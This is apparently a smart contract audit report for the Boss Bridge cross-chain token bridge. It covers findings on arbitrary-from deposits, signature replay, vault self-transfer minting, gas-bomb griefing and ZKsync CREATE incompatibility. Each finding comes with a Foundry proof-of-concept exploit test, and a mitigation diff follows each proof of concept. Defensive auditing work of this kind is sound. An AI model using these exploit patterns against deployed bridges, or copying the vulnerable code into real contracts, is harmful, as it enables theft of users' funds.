AUDIT

Boss Bridge Protocol

Security Audit Report

Version 1.0

PREPARED BY

Cyfrin.io

LEAD AUDITOR

Yusuf

DATE

February 14, 2026

Table of Contents

1. Protocol Summary

Boss Bridge is a cross-chain bridge protocol enabling token transfers between L1 (Ethereum mainnet) and L2 (zkSync Era). Users deposit tokens on L1 which are held in a vault, and corresponding tokens are minted on L2. Withdrawals from L2 back to L1 are authorized via ECDSA signatures from approved operators.

2. Disclaimer

The Yusuf team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

3. Risk Classification

We use the CodeHawks severity matrix to determine severity.

	Impact		
Likelihood	**High**	**Medium**	**Low**
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

4. Executive Summary

4.1 Issues Found

Severity	Count
High	5
Medium	0
Low	2
Informational	0
Gas	0
Total	7

5. Findings

5.1 High Severity

[H-1] depositTokensToL2() allows arbitrary from address, enabling theft of approved tokens

Description: The depositTokensToL2() function accepts a caller-supplied from parameter and calls token.safeTransferFrom(from, address(vault), amount) without verifying that msg.sender == from. Any user who has approved the bridge (a normal prerequisite for using it) can have their entire balance stolen by an attacker who simply passes the victim's address as from.

```
function depositTokensToL2(address from, address l2Recipient, uint256 amount)
    external whenNotPaused
{
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    // @audit no check that msg.sender == from
    token.safeTransferFrom(from, address(vault), amount);
    emit Deposit(from, l2Recipient, amount);
}
```

Impact: Any token approval granted to the bridge is immediately exploitable by any third party. A victim approving the bridge for legitimate use loses all approved funds to an attacker in a single transaction.

Proof of Concept:

1. Alice approves the bridge to spend her tokens — a normal step before depositing.
2. Attacker calls depositTokensToL2(alice, attacker, alice.balance) with no prior setup.
3. The bridge pulls Alice's tokens via safeTransferFrom — Alice never consented to this call.
4. Tokens land in the vault, the Deposit event fires with l2Recipient set to the attacker.
5. The off-chain service mints L2 tokens to the attacker. Alice loses everything.

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    // Alice approves the bridge — normal usage prerequisite
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    // Attacker steals Alice's funds by passing her address as 'from'
    uint256 depositAmount = token.balanceOf(user);
    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attacker, depositAmount);
    tokenBridge.depositTokensToL2(user, attacker, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended Mitigation: Remove the from parameter entirely and replace it with msg.sender:

```
- function depositTokensToL2(address from, address l2Recipient,
-                             uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
+     external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.safeTransferFrom(from, address(vault), amount);
-   emit Deposit(from, l2Recipient, amount);
+   token.safeTransferFrom(msg.sender, address(vault), amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] sendToL1() has no signature replay protection, allowing an attacker to drain the vault by resubmitting a valid signature indefinitely

Description: sendToL1() verifies an ECDSA signature but never records that it was used. The same (v, r, s, message) tuple can be submitted any number of times across separate transactions. Since all parameters are publicly visible on-chain after the first legitimate withdrawal, an attacker can copy them and replay the call in a loop until the vault is empty. The nonReentrant guard only prevents re-entrancy within a single transaction — it offers no protection across multiple transactions.

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
    public nonReentrant whenNotPaused
{
    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
        v, r, s
    );

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }
    // @audit message is never marked as used — can be replayed forever
    (address target, uint256 value, bytes memory data) =
        abi.decode(message, (address, uint256, bytes));
    (bool success,) = target.call{ value: value }(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
```

Impact: A single legitimately signed withdrawal message is sufficient to drain the entire vault. The attacker needs zero additional capital beyond gas fees.

Proof of Concept:

1. Attacker deposits 100 tokens to L2 via depositTokensToL2() — this is the only legitimate step.
2. The operator signs a withdrawal message authorising transferFrom(vault, attacker, 100e18).
3. Attacker calls withdrawTokensToL1() once legitimately, receiving their 100 tokens back.
4. Attacker copies the exact (v, r, s) values from the on-chain transaction.
5. Attacker calls withdrawTokensToL1() again with the same signature — it succeeds.
6. Attacker loops step 5 until the vault balance is zero.
7. Net result: attacker drains the entire vault using a single operator-signed message.

```
function testSignatureReplay() public {
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // Attacker makes one legitimate deposit to obtain a valid signed withdrawal
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

    // Operator signs the withdrawal
    bytes memory message = abi.encode(
        address(token),
        0,
        abi.encodeCall(IERC20.transferFrom,
                       (address(vault), attacker, attackerInitialBalance))
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(
        operator.key,
        MessageHashUtils.toEthSignedMessageHash(keccak256(message))
    );

    // Attacker replays the same signature until the vault is empty
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
    }

    assertEq(token.balanceOf(address(attacker)),
             vaultInitialBalance + attackerInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
    vm.stopPrank();
}
```

Recommended Mitigation: Track used message hashes and include a nonce and deadline inside the signed message so each signature is unique and time-bounded:

```
+ mapping(bytes32 => bool) public usedMessages;

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
    public nonReentrant whenNotPaused
{
    bytes32 messageHash = keccak256(message);
+   if (usedMessages[messageHash]) {
+       revert L1BossBridge__SignatureAlreadyUsed();
+   }
+   usedMessages[messageHash] = true;

    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(messageHash), v, r, s
    );
    if (!signers[signer]) revert L1BossBridge__Unauthorized();

    (address target, uint256 value, bytes memory data) =
        abi.decode(message, (address, uint256, bytes));
    (bool success,) = target.call{ value: value }(data);
    if (!success) revert L1BossBridge__CallFailed();
}
```

Also encode a nonce, deadline, and chain ID into every signed message to prevent cross-chain and stale-signature replay:

```
struct BridgeMessage {
    address target;
    uint256 value;
    bytes   data;
    uint256 nonce;
    uint256 deadline;
    uint256 chainId;
}
```

[H-3] depositTokensToL2() accepts vault as the from address, allowing unlimited unbacked L2 token minting at zero cost

Description: Because the bridge holds type(uint256).max approval over the vault, and depositTokensToL2() accepts any from address, an attacker can pass address(vault) as from. The vault transfers tokens to itself — no real movement of funds — yet the Deposit event fires and the off-chain service mints tokens on L2. This is repeatable indefinitely with no capital required.

```
// Bridge has max approval over vault (set in constructor)
vault.approveTo(address(this), type(uint256).max);

// Nothing stops an attacker from doing this:
tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
// vault -> vault (no real transfer), but Deposit event fires
// -> L2 mints real tokens
```

Impact: Complete inflation of the L2 token supply at zero cost. An attacker can mint unlimited unbacked L2 tokens and redeem them for real L1 assets, fully draining the protocol.

Proof of Concept:

1. Attacker calls depositTokensToL2(address(vault), attacker, vaultBalance) with no prior setup or capital.

2. The bridge calls safeTransferFrom(vault, vault, amount) — tokens move from vault to vault, net balance unchanged.

3. The Deposit event fires with l2Recipient set to the attacker.

4. The off-chain service sees the event and mints real L2 tokens to the attacker.

5. Attacker repeats steps 1–4 as many times as desired, minting unbounded L2 tokens.

6. Attacker bridges the L2 tokens back to L1, draining the vault of real assets.

```
function testCanTransferFromVaultToVault() public {
    address attacker = makeAddr("attacker");
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // First call — mints unbacked L2 tokens to attacker
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), attacker, vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);

    // Repeatable indefinitely — vault balance never changes
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), attacker, vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
}
```

Recommended Mitigation: Apply the msg.sender fix from H-1, which eliminates this vector entirely. Additionally, add an explicit guard against the vault being used as a sender:

```
function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused
{
+   if (msg.sender == address(vault)) {
+       revert L1BossBridge__InvalidSender();
+   }
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    token.safeTransferFrom(msg.sender, address(vault), amount);
    emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-4] Unconstrained target.call() in sendToL1() with no gas limit enables gas bomb griefing and full protocol DOS

Description: The target and data fields decoded from the signed message are passed directly into a low-level .call() with no gas cap, no target whitelist, and no selector filtering. A malicious or compromised signer can point target at a contract designed to consume all available gas. Combined with the signature replay vulnerability in H-2, a single signed message can be used to stuff entire blocks indefinitely.

```
// data with crazy gas costs
(bool success,) = target.call{ value: value }(data); // no gas limit, no whitelist
```

Impact: Griefing of legitimate users through wasted gas, economic drain of any relayer auto-submitting transactions, and sustained block stuffing that renders the bridge economically unusable.

Proof of Concept:

1. Attacker deploys a GasBomb contract whose fallback() runs an infinite loop or spams SSTORE operations.

2. Attacker obtains a signed message (or replays an existing one via H-2) pointing target at the GasBomb.

3. Attacker calls sendToL1() — the bridge forwards the call with no gas limit, consuming the entire transaction gas budget.

4. Any relayer auto-submitting this call hemorrhages ETH on gas with every submission.

5. With replay enabled, the attacker repeats this for free across every block, stuffing blocks and halting normal bridge operation.

Deploy this contract and use it as target in a signed message:

```
contract GasBomb {
    fallback() external payable {
        // Consumes all forwarded gas
        uint256 i;
        while (true) { i++; }
    }
}
```

With H-2 unpatched, a single signed message pointing to GasBomb can be replayed across every block with zero additional cost to the attacker.

Recommended Mitigation: Enforce a gas cap on the external call, whitelist valid target addresses, and restrict callable function selectors:

```
+ uint256 public constant MAX_CALL_GAS = 100_000;
+ mapping(address => bool) public allowedTargets;
+ mapping(bytes4 => bool) public allowedSelectors;

(address target, uint256 value, bytes memory data) =
    abi.decode(message, (address, uint256, bytes));
+ if (!allowedTargets[target]) {
+     revert L1BossBridge__InvalidTarget();
+ }
+ if (!allowedSelectors[bytes4(data)]) {
+     revert L1BossBridge__InvalidSelector();
+ }
- (bool success,) = target.call{ value: value }(data);
+ (bool success,) = target.call{ value: value, gas: MAX_CALL_GAS }(data);
```

[H-5] TokenFactory.deployToken() uses the CREATE opcode which is incompatible with ZKsync Era, silently deploying to address(0)

Description: deployToken() deploys contracts via inline assembly using the CREATE opcode. ZKsync Era does not support CREATE in the traditional EVM sense — it requires contracts to be known at compile time and deployed through its native system contracts. The raw bytecode path used here silently produces address(0) on ZKsync, and that zero address is stored in s_tokenToAddress without any validation.

```
assembly {
    // @audit CREATE is not supported on ZKsync Era — returns address(0) silently
    addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
}
s_tokenToAddress[symbol] = addr; // silently stores address(0)
```

Impact: The TokenFactory is entirely non-functional on ZKsync. Every token deployment maps its symbol to address(0). Any protocol flow on L2 that depends on deploying or looking up tokens breaks silently, destroying the bridge's L2 functionality.

Proof of Concept:

1. Owner calls deployToken('USDC', bytecode) on ZKsync Era.
2. The CREATE opcode is not supported — execution returns address(0) with no revert.
3. s_tokenToAddress['USDC'] is set to address(0).
4. Any subsequent call to getTokenAddressFromSymbol('USDC') returns address(0).
5. All bridge operations that depend on the token address fail silently or send funds to the zero address.

Recommended Mitigation: Use ZKsync's native IContractDeployer system contract on L2, and validate the deployed address is non-zero on both chains:

```
+ if (addr == address(0)) revert TokenFactory__DeploymentFailed();
```

For ZKsync compatibility, replace raw assembly with the ZKsync system deployer:

```
// On ZKsync L2 — use the system contract deployer instead of CREATE
import "@matterlabs/zksync-contracts/l2/system-contracts/interfaces/IContractDeployer.sol";
```

5.2 Low Severity

[L-1] DEPOSIT_LIMIT should be constant and token in L1Vault should be immutable

Description: DEPOSIT_LIMIT in L1BossBridge is a plain public storage variable, costing an extra SLOAD on every deposit check and making the limit appear mutable when no setter exists. token in L1Vault is similarly a plain storage variable despite only ever being set in the constructor.

Impact: Minor gas inefficiency and reduced code clarity. A future maintainer could accidentally introduce a setter, making critical protocol parameters modifiable without governance controls.

Recommended Mitigation:

```
// L1BossBridge
- uint256 public DEPOSIT_LIMIT = 100_000 ether;
+ uint256 public constant DEPOSIT_LIMIT = 100_000 ether;

// L1Vault
- IERC20 public token;
+ IERC20 public immutable token;
```

[L-2] L1Vault.approveTo() ignores the return value of token.approve(), silently failing on non-standard ERC20s

Description: Some ERC20 tokens (notably USDT on mainnet) do not revert on failed approvals — they return false. The current implementation ignores this return value entirely, meaning a failed approval passes silently and the bridge operates believing it has an allowance it does not.

```
function approveTo(address target, uint256 amount) external onlyOwner {
    // @audit return value of approve() not checked
    token.approve(target, amount);
}
```

Impact: If a non-standard token is ever used, the vault silently fails to grant approval. All subsequent withdrawals revert with a confusing CallFailed error rather than a descriptive approval error, making the root cause difficult to diagnose.

Recommended Mitigation: Use SafeERC20, which the bridge contract already imports, and reset the approval to zero first for USDT compatibility:

```
+ import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract L1Vault is Ownable {
+   using SafeERC20 for IERC20;

    function approveTo(address target, uint256 amount) external onlyOwner {
-       token.approve(target, amount);
+       token.safeApprove(target, 0);
+       token.safeApprove(target, amount);
    }
}
```